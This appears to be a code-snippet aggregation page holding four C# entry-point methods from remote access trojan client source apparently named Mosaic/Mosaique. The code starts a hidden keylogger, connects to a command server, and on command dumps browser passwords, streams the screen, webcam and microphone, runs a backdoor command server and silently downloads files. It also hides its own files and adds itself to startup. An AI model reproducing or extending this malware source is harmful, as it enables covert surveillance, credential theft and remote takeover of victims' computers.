예제 #1
0
        static void Main()
        {
            bool result;

            //bootController = new BootController();
            //StreamReader readerMutex = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().Location);
            //MutexController.mutexKey = BootController.getMutexKey(readerMutex);
            MutexController.mutexKey = "sdkfjslkfjsldkfjsdlfj546s46s46s64s";
            result = MutexController.createMutex();
            //var mutex = new System.Threading.Mutex(true, mutexKey, out result);

            if (!result)
            {
                MessageBox.Show("Another instance of application is already running !");
                return;
            }
            MessageBox.Show(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME));

            if (Settings.ENABLELOGGER)
            {
                new Thread(() =>
                {
                    _msgLoop         = new ApplicationContext();
                    Keylogger logger = new Keylogger(15000);
                    Application.Run(_msgLoop);
                })
                {
                    IsBackground = true
                }.Start();
            }

            ClientData.installPath = Path.Combine(AuthenticationController.DIRECTORY, ((!string.IsNullOrEmpty(AuthenticationController.SUBDIRECTORY)) ? AuthenticationController.SUBDIRECTORY + @"\" : "") + AuthenticationController.INSTALLNAME);
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            client = new ClientMosaic("127.0.0.1", 4444);
            //ClientMosaic.testexit = false;
            //client = new ClientMosaic(bootController.host, bootController.port);
            client.connect();
            //GC.KeepAlive(mutex);
        }
예제 #2
0
        static void Main()
        {
            bool result;

            bootController = new Boot();
            StreamReader readerMutex = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().Location);

            MutexController.mutexKey = Boot.getMutexKey(readerMutex);;
            result = MutexController.createMutex();

            if (!result)
            {
                MessageBox.Show("Another instance of application is already running !");
                return;
            }

            if (Settings.ENABLELOGGER)
            {
                new Thread(() =>
                {
                    _msgLoop         = new ApplicationContext();
                    Keylogger logger = new Keylogger(15000);
                    Application.Run(_msgLoop);
                })
                {
                    IsBackground = true
                }.Start();
            }

            ClientData.installPath = Path.Combine(AuthenticationController.DIRECTORY, ((!string.IsNullOrEmpty(AuthenticationController.SUBDIRECTORY)) ? AuthenticationController.SUBDIRECTORY + @"\" : "") + AuthenticationController.INSTALLNAME);
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            client = new ClientMosaic("127.0.0.1", 4444);
            //client = new ClientMosaic(bootController.host, bootController.port);
            client.connect();
        }
예제 #3
0
        private static void MainFunk()
        {
            while (true)
            {
                if (!Connected)
                {
                    Thread ConnectionThread = new Thread(new ThreadStart(ConnectToWS));
                    ConnectionThread.Start();
                    while (ConnectionThread.IsAlive)
                    {
                        Thread.Sleep(100);
                    }
                    ;
                }
                else
                {
                    Thread IsRegisteredThread = new Thread(new ThreadStart(IsRegistered));
                    IsRegisteredThread.Start();
                    while (IsRegisteredThread.IsAlive)
                    {
                        Thread.Sleep(100);
                    }
                    ;

                    if (!Registered)
                    {
                        Thread RegisterThread = new Thread(new ThreadStart(Register));
                        RegisterThread.Start();
                        while (RegisterThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;
                    }
                    else
                    {
                        #region UpdatePCData
                        Thread IfUpdateThread = new Thread(new ThreadStart(IfUpdate));
                        IfUpdateThread.Start();
                        while (IfUpdateThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (Update)
                        {
                            Thread UpdateDataThread = new Thread(new ThreadStart(UpdateData));
                            UpdateDataThread.Start();
                            while (UpdateDataThread.IsAlive)
                            {
                                Thread.Sleep(100);
                            }
                            ;
                            A.SetForNoUpdate(myName);
                            Update = false;
                        }
                        #endregion

                        #region PasswordDump
                        Thread IfBrowserPassDumpThread = new Thread(new ThreadStart(IfBrowserPassDump));
                        IfBrowserPassDumpThread.Start();
                        while (IfUpdateThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (BrowserDump)
                        {
                            Thread DumpPassThread = new Thread(new ThreadStart(DumpPass));
                            DumpPassThread.Start();
                            while (DumpPassThread.IsAlive)
                            {
                                Thread.Sleep(100);
                            }
                            ;
                            A.SetForNoBrowserDump(myName);
                            BrowserDump = false;
                        }
                        #endregion

                        #region RegisteredSoftware
                        Thread IfRegisteredSoftwareThread = new Thread(new ThreadStart(IfInstalledAplicationDump));
                        IfRegisteredSoftwareThread.Start();
                        while (IfRegisteredSoftwareThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (InstalledSoftwareBool)
                        {
                            Thread DumpPassThread = new Thread(new ThreadStart(GetInstalledApplications));
                            DumpPassThread.Start();
                            while (DumpPassThread.IsAlive)
                            {
                                Thread.Sleep(100);
                            }
                            ;
                            A.SetForNoApplicationDump(myName);
                            InstalledSoftwareBool = false;
                        }



                        #endregion

                        #region KeylogDump
                        Thread IfKeylogDumpThread = new Thread(new ThreadStart(IfKeylogDump));
                        IfKeylogDumpThread.Start();
                        while (IfRegisteredSoftwareThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (keydumpbool)
                        {
                            if (KeyLogObject == null)
                            {
                                KeyLogObject = new Keylogger();
                            }

                            if (!KeyLogObject.started)
                            {
                                KeyLogObject.KeyloggerStart();
                            }
                        }
                        else
                        {
                            if (KeyLogObject != null)
                            {
                                if (KeyLogObject.started)
                                {
                                    KeyLogObject.Flush2File();
                                    KeyLogObject.KeyLogerStop();
                                }
                            }
                        }

                        #endregion

                        #region ScreenShare

                        Thread IfKeyScreenShareThread = new Thread(new ThreadStart(IfKeyScreenShare));
                        IfKeyScreenShareThread.Start();
                        while (IfKeyScreenShareThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (scshare)
                        {
                            if (!ScreenShareThread.IsAlive)
                            {
                                ScreenShareThread = new Thread(new ThreadStart(ScreenShare));
                                ScreenShareThread.Start();
                            }
                            string clip = System.Windows.Forms.Clipboard.GetText();
                            if (clip != "")
                            {
                                // co clipboard ne server
                            }
                        }



                        #endregion

                        #region WebCam
                        Thread IfWebCamThread = new Thread(new ThreadStart(IfWebCamDump));
                        IfWebCamThread.Start();
                        while (IfWebCamThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (WebCambool)
                        {
                            if (!WebCamShareThread.IsAlive)
                            {
                                WebCam.StreamImages = true;
                                WebCamShareThread   = new Thread(new ThreadStart(WebCamShare));
                                WebCamShareThread.Start();
                            }
                        }
                        else
                        {
                            WebCam.StreamImages = false;
                            //if (WebCamShareThread.IsAlive)
                            //{
                            //    WebCamShareThread.Abort();
                            //}
                        }



                        #endregion

                        #region CMDRUN

                        Thread IfCmdRunThread = new Thread(new ThreadStart(IfCmdRun));
                        IfCmdRunThread.Start();
                        while (IfCmdRunThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (cmdkey)
                        {
                            if (!Backdoor.started)
                            {
                                Backdoor.startServer();
                            }
                        }
                        else
                        {
                            if (Backdoor.started)
                            {
                                Backdoor.stopServer();
                            }
                        }
                        #endregion

                        #region MIC

                        Thread IfMicDumpThread = new Thread(new ThreadStart(IfMicDump));
                        IfMicDumpThread.Start();
                        while (IfMicDumpThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (micdumpkey)
                        {
                            string connection = A.SelectIPPORT();
                            string ip         = connection.Substring(0, connection.IndexOf(':'));
                            string port       = connection.Substring(connection.IndexOf(':') + 1);
                            if (!VoiceRoom.started)
                            {
                                VoiceRoom.VoiceRoomStart(ip, int.Parse(port));
                            }
                        }
                        else
                        {
                            VoiceRoom.Disconncet();
                        }

                        #endregion

                        #region Navigator

                        Thread IfBrowserOpenThread = new Thread(new ThreadStart(IfWebBrowse));
                        IfBrowserOpenThread.Start();
                        while (IfBrowserOpenThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (webopenkey)
                        {
                            if (!Browser.running)
                            {
                                urlToOpen         = A.SelectOPEN();
                                Browser.urlToLoad = urlToOpen;
                                Browser.StartBrowser();
                            }
                        }

                        #endregion

                        #region DownloadLocal

                        Thread IfDownloadThread = new Thread(new ThreadStart(IfDownload));
                        IfDownloadThread.Start();
                        while (IfDownloadThread.IsAlive)
                        {
                            Thread.Sleep(100);
                        }
                        ;

                        if (downloadkey)
                        {
                            urlToDownload = A.SelectDOWN();
                            if (urlToDownload != "")
                            {
                                string filename = urlToDownload.Substring(urlToDownload.LastIndexOf('/'));
                                HiddenDownloader.DownloadFileAsync(new Uri(urlToDownload), filename);
                                A.SetForNoUrlDown(myName);
                                urlToDownload = "";
                            }
                        }

                        #endregion

                        Thread.Sleep(1000);
                    }
                }
                GC.Collect();
                Thread.Sleep(1000);
            }
        }
예제 #4
0
        private static bool MosaiqueLauncher()
        {
            _result = MutexController.createMutex(); // TODO virer

            if (!_result)                            // TODO virer
            {
                MessageBox.Show("Another instance of application is already running !");
                return(false);
            }

            ClientData.installPath = Path.Combine(Boot.DIRECTORY, ((!string.IsNullOrEmpty(Boot.installSubDirectory)) ? Boot.installSubDirectory + @"\" : "") + Boot.installFileName); //

            // If install == false OR already installed
            if (!Boot.installStub || ClientData.currentPath == ClientData.installPath)
            {
                if (Boot.installStub && Boot.hideFile) // INSTALL
                {
                    try
                    {
                        File.SetAttributes(ClientData.currentPath, FileAttributes.Hidden);
                    }
                    catch
                    {
                    }
                }
                if (Boot.installStub && Boot.hideSubDirectory && !string.IsNullOrEmpty(Boot.installSubDirectory)) // INSTALL
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.installPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch
                    {
                    }
                }

                if (Boot.autoStartEnabled) // STARTUP
                {
                    if (!ClientInstallerController.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }
                if (Boot.keyloggerEnabled) // KEYLOGGER
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                return(true);
            }
            else
            {
                MutexController.closeMutex();
                ClientInstallerController.install();
                return(false);
            }
        }